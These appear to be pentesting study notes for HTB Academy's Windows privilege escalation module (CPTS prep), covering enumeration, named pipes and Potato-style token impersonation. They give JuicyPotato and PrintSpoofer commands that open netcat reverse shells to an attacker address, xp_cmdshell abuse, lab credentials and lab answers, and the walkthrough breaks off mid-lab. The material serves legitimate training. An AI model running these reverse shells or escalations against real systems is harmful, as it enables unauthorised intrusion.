Skip to main content

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Module Overview

🎯 Overview

Windows privilege escalation techniques for penetration testing and CPTS preparation. This section covers systematic approaches to elevating privileges from a low-privileged user account to local administrator or system-level access.

📚 Module Structure

🔍 Initial Assessment

🏛️ User and Group Privileges

  • SeImpersonate & SeAssignPrimaryToken - Token impersonation attacks (Potato techniques)
  • SeDebugPrivilege - LSASS memory dumping and SYSTEM privilege escalation
  • SeTakeOwnershipPrivilege - File ownership takeover and ACL manipulation
  • Windows Built-in Groups - Backup Operators, SeBackupPrivilege, and NTDS.dit extraction
  • Event Log Readers - Event log analysis and credential extraction from command lines
  • DnsAdmins - DNS service DLL injection and Domain Controller privilege escalation
  • Hyper-V Administrators - VM cloning attacks and hard link exploitation
  • Print Operators - SeLoadDriverPrivilege exploitation and Capcom.sys driver attacks
  • Server Operators - Service control, binary path modification, and local administrator access
  • UAC Bypass - User Account Control bypass via DLL hijacking and auto-elevating binaries
  • Weak Permissions - File system ACLs, service permissions, unquoted paths, and registry exploitation
  • Kernel Exploits - Historical and modern Windows kernel vulnerabilities for privilege escalation
  • Vulnerable Services - Third-party application exploitation and service-based privilege escalation
  • Credential Hunting - File system credential discovery, PowerShell history, and DPAPI decryption
  • Other Files - Advanced credential hunting in StickyNotes, system files, and network shares
  • Further Credential Theft - Browser credentials, password managers, LaZagne, SessionGopher, and registry-stored credentials
  • Windows User Privileges - Token privileges and abuse techniques
  • Windows Group Privileges - Dangerous group memberships and exploitation

🎯 Attack Vectors

  • Attacking the OS - Kernel exploits, service misconfigurations
  • Credential Theft - LSASS, registry, memory-based attacks
  • Service Exploitation - Unquoted service paths, weak permissions
  • Scheduled Task Abuse - Task scheduler misconfigurations

🔒 Restricted Environments

  • AppLocker Bypass - Application whitelisting evasion
  • AMSI Bypass - Antimalware Scan Interface evasion
  • UAC Bypass - User Access Control circumvention

🛠️ Additional Techniques

  • DLL Hijacking - DLL search order exploitation
  • Registry Exploitation - Registry-based privilege escalation
  • File System - NTFS permissions and symbolic links
  • Windows Subsystem - WSL and containerization issues

🏚️ Legacy Systems

  • End of Life Systems - Windows 7, Server 2008 specific techniques
  • Legacy Service Exploitation - Deprecated service vulnerabilities

🎯 Learning Objectives

  1. Systematic enumeration - Comprehensive information gathering
  2. Attack vector identification - Spotting escalation opportunities
  3. Tool proficiency - PowerShell, WinPEAS, PrivescCheck
  4. Evasion techniques - Bypassing security controls
  5. Persistence methods - Maintaining elevated access

🛠️ Common Tools

# Automated enumeration
WinPEAS.exe
PrivescCheck.ps1
PowerUp.ps1
Seatbelt.exe

# Manual techniques
whoami /all
Get-Process
Get-Service
Get-ScheduledTask

📋 Quick Assessment Checklist

  • Current user privileges (whoami /priv)
  • Group memberships (whoami /groups)
  • Running services (Get-Service)
  • Network configuration (ipconfig /all)
  • Installed software (Get-WmiObject Win32_Product)
  • Security protections (Get-MpComputerStatus)
  • Scheduled tasks (Get-ScheduledTask)
  • File/folder permissions (icacls)

This section provides comprehensive coverage of Windows privilege escalation techniques aligned with the CPTS certification requirements.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/windows-priv-esc.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Situational Awareness

🎯 Overview

Situational awareness is the first critical step in Windows privilege escalation. Before attempting any escalation techniques, we must understand:
  • Network topology and dual-homed systems
  • Security protections in place (AV, EDR, AppLocker)
  • System context and current privileges
  • Network connectivity and potential lateral movement paths
“We cannot function and react effectively without an understanding of our current surroundings”

🌐 Network Information Gathering

Interface and IP Address Enumeration

Basic Network Configuration

# Complete network interface information
ipconfig /all

# Quick IP address overview
ipconfig

# DNS configuration
ipconfig /displaydns

Key Network Details to Note

# Look for:
- Multiple network interfaces (dual-homed systems)
- DNS servers and domain information
- DHCP configuration
- IPv6 addresses and tunneling adapters
Example Output Analysis:
# Dual-homed system identified
IPv4 Address: 10.129.43.8     # External/DMZ network
IPv4 Address: 192.168.20.56   # Internal network

# Domain information
Primary Dns Suffix: .htb
DNS Suffix Search List: .htb

ARP Cache Analysis

# View ARP cache for recent communications
arp -a

# Analyze per interface
arp -a -N [interface_ip]
Strategic Value:
  • Recent communications - Shows hosts recently contacted
  • Network discovery - Identifies active hosts on each network
  • Lateral movement targets - Potential next hop systems
  • Administrative patterns - RDP/WinRM connection evidence

Routing Table Examination

# Complete routing information
route print

# IPv4 routes only
route print -4

# IPv6 routes only
route print -6
Analysis Points:
# Network segments accessible:
Network Destination    Netmask          Gateway       Interface
10.129.0.0            255.255.0.0      10.129.0.1    10.129.43.8  # External
192.168.20.0          255.255.255.0    192.168.20.1  192.168.20.56 # Internal

# Default routes - potential egress points
0.0.0.0               0.0.0.0          10.129.0.1    # Primary route
0.0.0.0               0.0.0.0          192.168.20.1  # Secondary route

Advanced Network Discovery

# Active TCP connections
netstat -an

# Processes and associated connections
netstat -anb

# Network statistics
netstat -s

# Network interfaces with statistics
netstat -i
# PowerShell network cmdlets
Get-NetIPConfiguration
Get-NetRoute
Get-NetAdapter
Get-NetTCPConnection -State Established

🛡️ Security Protection Enumeration

Windows Defender Status

# Comprehensive Defender status
Get-MpComputerStatus

# Key status indicators
Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, BehaviorMonitorEnabled

# Threat detection settings
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring
Critical Status Fields:
  • AntivirusEnabled - AV engine status
  • RealTimeProtectionEnabled - Live scanning
  • BehaviorMonitorEnabled - Behavioral analysis
  • OnAccessProtectionEnabled - File access monitoring

AppLocker Policy Assessment

# Current effective AppLocker rules
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

# Local AppLocker policy only
Get-AppLockerPolicy -Local

# Domain AppLocker policy
Get-AppLockerPolicy -Domain

# Test specific executable against policy
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
AppLocker Rule Types:
  • Executable Rules - Controls .exe, .com files
  • Windows Installer Rules - Controls .msi, .msp files
  • Script Rules - Controls .ps1, .bat, .cmd files
  • Packaged App Rules - Controls Windows Store apps
  • DLL Rules - Controls .dll files (rarely used)

AppLocker Bypass Indicators

# Look for path-based rules that can be bypassed
PathConditions: {%PROGRAMFILES%\*}  # May allow unsigned executables in Program Files
PathConditions: {%WINDIR%\*}        # May allow execution from Windows directory

Additional Security Services

# Running services (potential EDR)
net start | findstr /i "carbon\|crowd\|cylinder\|defend\|fire\|malware\|secure"

# Process list for security tools
tasklist | findstr /i "carbon\|crowd\|cylinder\|defend\|fire\|malware\|secure"

# Windows Firewall status
netsh advfirewall show allprofiles
# PowerShell security service enumeration
Get-Service | Where-Object {$_.Name -match "Defend|Malware|Antivirus|Carbon|Crowd|Fire"}

# Check for common EDR processes
Get-Process | Where-Object {$_.ProcessName -match "cb|crowd|fire|defend|malware"}

🔍 System Context Assessment

Current User and Privileges

# Current user information
whoami /all

# User privileges
whoami /priv

# Group memberships
whoami /groups

# Current user only
whoami
# PowerShell user context
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
Get-LocalUser | Where-Object {$_.Enabled -eq $true}
Get-LocalGroupMember -Group "Administrators"

System Information

# System details
systeminfo | findstr /i "system\|os\|service\|hotfix"

# OS version
ver

# Environment variables
set

# Installed software
wmic product get name,version
# PowerShell system information
Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, TotalPhysicalMemory
Get-WmiObject -Class Win32_OperatingSystem
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10

📋 Situational Awareness Checklist

Network Assessment

  • Multiple interfaces identified - Check for dual-homed systems
  • Internal networks mapped - Document accessible network segments
  • ARP cache analyzed - Note recent communication patterns
  • Routing table reviewed - Understand network topology
  • Active connections listed - Identify current network activity

Security Posture

  • Windows Defender status - Determine AV/EDR protection level
  • AppLocker rules assessed - Understand execution restrictions
  • Firewall configuration - Check for outbound restrictions
  • Security services identified - Note EDR/monitoring tools
  • Admin privileges confirmed - Verify current access level

System Context

  • User privileges enumerated - Document current user context
  • Group memberships verified - Check for privileged groups
  • System version identified - Note OS version and patch level
  • Installed software cataloged - Identify potential attack vectors

🎯 HTB Academy Lab - Situational Awareness

Lab Environment

  • Target: Windows system accessible via RDP
  • Credentials: htb-student:HTB_@cademy_stdnt!
  • Objective: Identify network configuration and security restrictions

Lab Questions

Question 1: Network Interface Discovery

Objective: Find the IP address of the other NIC attached to the target host
# Solution approach
ipconfig /all

# Look for multiple Ethernet adapters
# Identify IP addresses on different network segments
# Answer format: X.X.X.X (IP address of secondary interface)

Question 2: AppLocker Executable Restrictions

Objective: Identify which executable (other than cmd.exe) is blocked by AppLocker
# Solution approach
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

# Test common executables
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\powershell.exe -User Everyone
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\net.exe -User Everyone

# Look for PolicyDecision: Denied
Common Blocked Executables:
  • powershell.exe - PowerShell interpreter
  • cmd.exe - Command prompt (mentioned as blocked)
  • net.exe - Network configuration utility
  • wmic.exe - Windows Management Instrumentation tool

Expected Results

# Network discovery result
Interface 1: 10.129.43.8    (External/HTB network)
Interface 2: 192.168.20.56  (Internal network)

# AppLocker restriction result
powershell.exe: DENIED
cmd.exe: DENIED  
net.exe: ALLOWED

💡 Key Takeaways

  1. Network topology understanding - Dual-homed systems provide lateral movement opportunities
  2. Security awareness - Early protection enumeration prevents detection
  3. Context establishment - Know your current privileges before escalation attempts
  4. Tool restrictions - AppLocker policies affect available attack vectors
  5. Systematic approach - Complete situational awareness before technical exploitation

This guide covers the essential first step in Windows privilege escalation - gathering comprehensive situational awareness to inform subsequent attack strategies.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/situational-awareness.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Initial Enumeration

🎯 Overview

Initial enumeration is crucial for identifying privilege escalation paths. After gaining low-privileged access, we must systematically gather information about the system, users, services, and configurations to find attack vectors.

🖥️ System Information

Process Enumeration

# Running processes with services
tasklist /svc

# Key processes to identify:
- System processes (smss.exe, csrss.exe, winlogon.exe, lsass.exe)
- Non-standard processes (FileZilla, custom services)
- Security tools (MsMpEng.exe = Windows Defender)

Environment Variables

# Display all environment variables
set

# Key variables to examine:
PATH       # Custom paths, DLL hijacking opportunities
HOMEDRIVE  # Network drives, file shares
USERPROFILE # User directory access
TEMP       # Temporary directories
Critical PATH Analysis:
  • Custom applications in PATH (Python, Java)
  • Writable directories in PATH (DLL injection)
  • Order matters: left-to-right execution priority

Detailed System Information

# Complete system details
systeminfo

# Key information:
- OS Name & Version (exploit targeting)
- Hotfix(s) Installed (patch level)
- System Boot Time (last restart)
- Network Card(s) (dual-homed systems)
# PowerShell alternative
Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, TotalPhysicalMemory

🔄 Patches and Updates

Hotfix Enumeration

# WMI hotfix query
wmic qfe

# Look for:
- Recent patch dates
- Missing critical updates
- KB numbers for exploit research
# PowerShell hotfix enumeration
Get-HotFix | ft -AutoSize

# Sort by installation date
Get-HotFix | Sort-Object InstalledOn -Descending

📦 Installed Programs

Software Discovery

# WMI installed programs
wmic product get name
# PowerShell software enumeration
Get-WmiObject -Class Win32_Product | Select-Object Name, Version

# Alternative method
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion
Target Applications:
  • FileZilla/Putty - Credential storage (LaZagne)
  • Java/Python - Version vulnerabilities
  • Custom applications - Privilege escalation vectors
  • Development tools - Source code access

🌐 Network Services

Active Connections

# Active TCP/UDP connections
netstat -ano

# Identify:
- Local-only services (127.0.0.1)
- Non-standard ports
- Service-to-PID mapping
# PowerShell network connections
Get-NetTCPConnection -State Listen
Get-NetTCPConnection -State Established

👥 User & Group Enumeration

Current User Context

# Current user
whoami
echo %USERNAME%

# User privileges
whoami /priv

# Group memberships
whoami /groups

# Complete user information
whoami /all
Key Privileges to Look For:
  • SeImpersonatePrivilege - Juicy Potato attacks
  • SeAssignPrimaryTokenPrivilege - Token manipulation
  • SeTakeOwnershipPrivilege - File ownership changes
  • SeBackupPrivilege - File access bypass

User Discovery

# All local users
net user

# Domain users (if domain-joined)
net user /domain

# Specific user details
net user [username]

Group Analysis

# Local groups
net localgroup

# Group members
net localgroup administrators
net localgroup "Backup Operators"
net localgroup "Remote Desktop Users"
High-Value Groups:
  • Administrators - Local admin access
  • Backup Operators - File access, backup rights
  • Server Operators - Service control
  • Account Operators - User/group management
  • Print Operators - Load driver privilege

Session Information

# Logged-in users
query user

# Session details
query session

Account Policies

# Password policy and lockout settings
net accounts

# Key metrics:
- Password complexity requirements
- Lockout threshold
- Account lockout duration

🎯 HTB Academy Lab Solutions

Lab Environment

  • Target: 10.129.43.43 (ACADEMY-WINLPE-SRV01)
  • Credentials: htb-student:HTB_@cademy_stdnt!

Question 1: Non-default User Privileges

Command:
whoami /priv
Answer: SeTakeOwnershipPrivilege

Question 2: Backup Operators Group Member

Command:
net localgroup "Backup Operators"
Answer: sarah

Question 3: Service on Port 8080

Commands:
netstat -ano | findstr :8080
tasklist /svc /FI "PID eq [PID_FROM_NETSTAT]"
Answer: tomcat8

Question 4: Logged-in User

Command:
query user
Answer: sccm_svc

Question 5: Session Type

Command:
query user
# Look at SESSIONNAME column
Answer: console

📋 Essential Enumeration Checklist

System Context

  • OS version and patches (systeminfo)
  • Running processes (tasklist /svc)
  • Environment variables (set)
  • Installed software (wmic product get name)
  • Network services (netstat -ano)

User Context

  • Current user privileges (whoami /priv)
  • Group memberships (whoami /groups)
  • All local users (net user)
  • Local groups (net localgroup)
  • Administrators group (net localgroup administrators)
  • Logged-in users (query user)
  • Password policy (net accounts)

⚡ Quick Reference Commands

# System enumeration one-liners
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
tasklist /svc | findstr /V /C:"N/A"
wmic qfe get Description,HotFixID,InstalledOn
wmic product get name,version,vendor
netstat -ano | findstr LISTENING

# User enumeration one-liners  
whoami /all
net user | findstr /V "command completed"
net localgroup | findstr /V "command completed"
net localgroup administrators
query user 2>nul || echo "Access denied"

💡 Key Takeaways

  1. Systematic approach - Don’t skip basic enumeration steps
  2. Privilege identification - Special privileges = escalation paths
  3. Service analysis - Non-standard services often vulnerable
  4. Group membership - Powerful groups provide direct escalation
  5. Environment awareness - PATH, shares, and custom configurations matter
  6. Session monitoring - Other logged-in users = additional targets

This enumeration phase sets the foundation for successful privilege escalation by providing comprehensive system and user context.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/initial-enumeration.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Communication with Processes

🎯 Overview

Process communication analysis focuses on identifying privilege escalation opportunities through running services and inter-process communication. Processes running with elevated privileges, especially those accessible via network services or named pipes, can provide direct escalation paths.

🔑 Access Tokens

Concept

  • Access tokens describe the security context of processes/threads
  • Contain user identity and privilege information
  • Token presentation occurs with every process interaction
  • Token inheritance from parent processes
Key Token Privileges:
  • SeImpersonatePrivilege - Rogue/Juicy/Lonely Potato attacks
  • SeAssignPrimaryTokenPrivilege - Token manipulation
  • SeDebugPrivilege - Process debugging and memory access

🌐 Network Service Enumeration

Active Connections Analysis

# Display all active connections with PIDs
netstat -ano

# Filter for listening services only
netstat -ano | findstr LISTENING

# PowerShell alternative
Get-NetTCPConnection -State Listen

Target Service Categories

🎯 High-Value Services:
  • Port 21 - FTP (FileZilla Server)
  • Port 80/8080 - Web servers (IIS, XAMPP, Tomcat)
  • Port 3389 - RDP
  • Port 5985/5986 - WinRM
  • Port 1433 - MSSQL
🔍 Localhost-Only Services:
# Look for services bound to loopback addresses
netstat -ano | findstr 127.0.0.1
netstat -ano | findstr ::1

# These services often lack security controls
# Example: FileZilla admin interface on 127.0.0.1:14147

Service-to-Process Mapping

# Find process by PID from netstat
tasklist | findstr "[PID]"

# Example workflow:
netstat -ano | findstr :8080  # Find PID listening on 8080
tasklist | findstr "5044"     # Identify process name

🔄 Named Pipes

Concept

  • Named pipes enable inter-process communication via shared memory
  • Client-server model - creator is server, communicator is client
  • Communication types:
    • Half-duplex - One-way (client → server)
    • Full-duplex - Two-way communication

Named Pipe Enumeration

Using Pipelist (Sysinternals)

# List all named pipes
pipelist.exe /accepteula

# Key pipes to analyze:
- lsass        # Local Security Authority
- spoolss      # Print Spooler
- eventlog     # Event Log service  
- Custom pipes # Application-specific

Using PowerShell

# List named pipes with Get-ChildItem
Get-ChildItem \\.\pipe\

# Alternative syntax
gci \\.\pipe\

Named Pipe Security Analysis

Permission Enumeration with AccessChk

# Check specific pipe permissions
accesschk.exe /accepteula \\.\Pipe\[PIPE_NAME] -v

# Find writable pipes (privilege escalation opportunities)
accesschk.exe -w \pipe\* -v

# Look for Everyone group with excessive permissions

Dangerous Permission Patterns

# Dangerous combinations:
RW Everyone - FILE_ALL_ACCESS      # Complete control
RW Everyone - FILE_WRITE_DATA      # Data modification
RW Everyone - WRITE_DAC            # Permission modification

🚨 Common Attack Vectors

Web Server Exploitation

Scenario: IIS/XAMPP running as privileged user
# 1. Identify web server process
netstat -ano | findstr :80
tasklist | findstr "[PID]"

# 2. Deploy web shell (if write access exists)
# 3. Execute commands as web server user
# 4. Leverage SeImpersonatePrivilege for SYSTEM

FileZilla Server Attack

Scenario: Admin interface on localhost:14147
# 1. Identify FileZilla admin port
netstat -ano | findstr 127.0.0.1:14147

# 2. Connect to admin interface (no authentication)  
# 3. Extract FTP credentials
# 4. Create FTP share at C:\ with elevated privileges

Splunk Universal Forwarder

Scenario: Default configuration without authentication
  • Default behavior: Runs as SYSTEM
  • Attack method: Deploy malicious applications
  • Impact: Direct SYSTEM-level code execution

Named Pipe Privilege Escalation

Example: WindscribeService vulnerability
# 1. Find vulnerable pipe
accesschk.exe -w \pipe\* -v | findstr "Everyone"

# 2. Confirm excessive permissions
accesschk.exe -accepteula -w \pipe\WindscribeService -v
# Result: RW Everyone FILE_ALL_ACCESS

# 3. Exploit pipe communication for privilege escalation

🎯 HTB Academy Lab Solutions

Lab Environment

  • Target: 10.129.43.43 (ACADEMY-WINLPE-SRV01)
  • Credentials: htb-student:HTB_@cademy_stdnt!
  • Tools: C:\Tools\AccessChk\

Question 1: Service on Port 21

Objective: Identify service listening on 0.0.0.0:21 Solution Steps:
# 1. Connect via RDP
xfreerdp /v:10.129.43.43 /u:htb-student /p:HTB_@cademy_stdnt!

# 2. Find PID listening on port 21
netstat -ano | findstr :21
# Result shows PID (e.g., 2156)

# 3. Identify process by PID
tasklist | findstr "2156"
# Output: FileZilla Server.exe
Answer: filezilla server

Question 2: WRITE_DAC Privileges on Named Pipe

Objective: Find account with WRITE_DAC over \pipe\SQLLocal\SQLEXPRESS01 Solution Steps:
# 1. Navigate to AccessChk directory
cd C:\Tools\AccessChk

# 2. Check named pipe permissions
accesschk.exe -accepteula -w \pipe\SQLLocal\SQLEXPRESS01 -v

# 3. Analyze output for WRITE_DAC privilege
# Result shows: NT SERVICE\MSSQL$SQLEXPRESS01 with WRITE_DAC
Answer: NT Service\MSSQL$SQLEXPRESS01

🔍 Attack Pattern Recognition

Network Service Indicators

# Identify potential targets:
Port 8080     # Tomcat, development servers
Port 9090     # Administrative interfaces  
Port 10000+   # Custom applications
Localhost-only # Insecure by design assumption

Named Pipe Red Flags

# Dangerous permission combinations:
Everyone group      # Overly permissive
FILE_ALL_ACCESS    # Complete control
WRITE_DAC          # Permission modification
Custom pipe names  # Application vulnerabilities

Service Context Analysis

# High-privilege service users:
SYSTEM                    # Highest privileges
NT AUTHORITY\SYSTEM      # System-level access
Administrator            # Admin privileges
Service accounts         # Often over-privileged

📋 Process Communication Checklist

Network Services

  • Active connections (netstat -ano)
  • Localhost services (127.0.0.1 binding)
  • Process identification (tasklist)
  • Service context (user running service)
  • Web server detection (port 80, 8080, 8443)
  • Administrative interfaces (non-standard ports)

Named Pipes

  • Pipe enumeration (pipelist.exe or gci \\.\pipe\)
  • Permission analysis (accesschk.exe -w \pipe\*)
  • Everyone group access (overly permissive pipes)
  • Custom application pipes (non-standard names)
  • WRITE_DAC privileges (permission modification)

Attack Surface Assessment

  • SeImpersonatePrivilege detection
  • Vulnerable service versions
  • Default configurations (Splunk, FileZilla)
  • File upload capabilities (web servers)
  • Administrative access (localhost services)

💡 Key Takeaways

  1. Network services running as privileged users provide direct escalation paths
  2. Localhost-only services often lack security controls
  3. Named pipes with excessive permissions enable privilege escalation
  4. Web servers with SeImpersonatePrivilege lead to SYSTEM access
  5. Default configurations frequently contain security weaknesses
  6. Service context matters - identify which user runs each service

Process communication analysis reveals privilege escalation opportunities through network services and inter-process communication vulnerabilities.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/communication-with-processes.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

SeImpersonate & SeAssignPrimaryToken

🎯 Overview

SeImpersonate and SeAssignPrimaryToken are powerful privileges that allow escalation from service accounts to SYSTEM level access. These privileges enable processes to impersonate other users’ security tokens, commonly exploited through “Potato-style” attacks.

🔑 Token Impersonation Fundamentals

Access Token Concepts

  • Process tokens contain security context information
  • Token impersonation allows assuming another user’s identity
  • SeImpersonatePrivilege required to utilize stolen tokens
  • Memory-based attacks target token locations in process memory

Key Privileges

SeImpersonatePrivilege        # Impersonate client after authentication
SeAssignPrimaryTokenPrivilege # Replace process level token
Common Service Account Context:
  • IIS application pools
  • SQL Server service accounts
  • Jenkins execution contexts
  • MSSQL xp_cmdshell execution

🥔 Potato Attack Family

Attack Mechanism

  1. Service account has SeImpersonatePrivilege but limited SYSTEM access
  2. Potato attack tricks SYSTEM process to connect to attacker-controlled process
  3. Token handover occurs during connection authentication
  4. Token abuse elevates privileges to NT AUTHORITY\SYSTEM

JuicyPotato - Legacy Systems

Prerequisites

  • SeImpersonate OR SeAssignPrimaryToken privilege
  • Windows Server 2016 and earlier (before build 1809)
  • DCOM/NTLM reflection capabilities

Basic Usage

# Basic privilege escalation
JuicyPotato.exe -l [listening_port] -p c:\windows\system32\cmd.exe -a "/c [command]" -t *

# Reverse shell example
JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
Parameters:
  • -l - COM server listening port
  • -p - Program to launch
  • -a - Arguments passed to program
  • -t - CreateProcess call type (* = try both)

PrintSpoofer - Modern Systems

Advantages

  • Windows Server 2019 and Windows 10 build 1809+ compatible
  • Print Spooler service abuse mechanism
  • Multiple execution modes available

Usage Examples

# Interactive SYSTEM shell in current console
PrintSpoofer.exe -i -c cmd

# Desktop SYSTEM process (RDP sessions)
PrintSpoofer.exe -d -c cmd

# Reverse shell execution
PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

RoguePotato - Alternative Approach

  • OXID resolver abuse technique
  • Named pipe impersonation method
  • Server 2019 and Windows 10 compatible

💻 Practical Exploitation Scenario

SQL Server Service Account Compromise

Initial Access via MSSQL

# Connect with mssqlclient.py
mssqlclient.py sql_dev@10.129.43.30 -windows-auth

# Enable xp_cmdshell
SQL> enable_xp_cmdshell

# Verify service account context
SQL> xp_cmdshell whoami
# Output: nt service\mssql$sqlexpress01

Privilege Assessment

SQL> xp_cmdshell whoami /priv

# Key privileges to identify:
SeAssignPrimaryTokenPrivilege # Replace process level token - Disabled
SeImpersonatePrivilege        # Impersonate client after authentication - Enabled
SeManageVolumePrivilege       # Perform volume maintenance tasks - Enabled

JuicyPotato Exploitation

# Upload JuicyPotato.exe and nc.exe to target
# Set up listener: nc -lnvp 8443

# Execute privilege escalation
SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *

# Expected output:
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

PrintSpoofer Alternative

# Modern Windows systems
SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

# Expected output:
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

Verification

# Confirm SYSTEM access
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname  
WINLPE-SRV01

🛠️ Tool Comparison

ToolOS SupportMethodReliability
JuicyPotato≤ Server 2016DCOM/NTLM ReflectionHigh
PrintSpooferServer 2019+ Win10 1809+Print Spooler ServiceHigh
RoguePotatoServer 2019+ Win10+OXID ResolverMedium
SweetPotatoUniversalMultiple methodsHigh

🎯 HTB Academy Lab Solution

Lab Environment

  • Target: 10.129.43.43 (ACADEMY-WINLPE-SRV01)
  • Credentials: sql_dev:Str0ng_P@ssw0rd!
  • Objective: Escalate privileges and retrieve flag

Detailed Step-by-Step Solution

1. Initial Connection with MSSQL

┌─[us-academy-1]─[10.10.14.143]─[htb-ac330204@pwnbox-base]─[~]
└──╼ [★]$ mssqlclient.py sql_dev@10.129.43.43 -windows-auth
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password: Str0ng_P@ssw0rd!
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed database context to 'master'.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (130 19162) 
[!] Press help for extra shell commands
SQL> 

2. Enable xp_cmdshell for Command Execution

SQL> enable_xp_cmdshell

[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

3. Enumerate Privileges - Key Step!

SQL> xp_cmdshell whoami /priv

output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               

PRIVILEGES INFORMATION                                                             
----------------------                                                             
NULL                                                                               

Privilege Name                Description                               State      
============================= ========================================= ========   
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   

NULL   
✅ Critical Finding: SeImpersonatePrivilege is Enabled - this allows privilege escalation!

4. Set Up Reverse Shell Listener (New Terminal)

┌─[us-academy-1]─[10.10.14.143]─[htb-ac330204@pwnbox-base]─[~]
